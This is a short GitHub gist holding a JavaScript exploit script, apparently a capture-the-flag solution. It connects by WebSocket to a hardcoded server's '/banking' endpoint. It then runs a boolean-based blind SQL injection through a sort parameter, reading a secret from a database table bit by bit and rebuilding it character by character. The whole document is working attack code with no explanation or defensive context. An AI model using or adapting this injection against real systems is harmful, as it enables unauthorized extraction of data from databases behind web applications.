Create a gist now

Instantly share code, notes, and snippets.

anonymous /flag_read.js Secret
Created May 26, 2013

Embed
var count = 0;
var character = 0;
var handleLoad2 = function() {
ws = new WebSocket("ws://1.234.27.139:38090/banking");
ws.onopen = function(){
console.log("opened.");
ws_ready = 1;
}
ws.onclose = function(){
console.log("closed!");
}
ws.onmessage = function(evt){
var res = (evt.data == '{"c":"list","m":"[]"}');
if (res) {
character += Math.pow(2, count);
}
count++;
if (count == 8) {
console.log(String.fromCharCode(character));
count = 0;
}
}
}
var get_letter = function(limit_id, letter_id) {
character = 0;
count = 0;
for(var i = 0; i < 8; ++i) {
var x = Math.pow(2, i);
var payload = "desc, (select t.flag from (select flag from flag_db.flag_tbl limit " + limit_id + ",1) t where ord(substring(t.flag," + letter_id +",1))& " + x + "=" + x + " union all select 1) limit 1,1";
listing("balance", payload);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment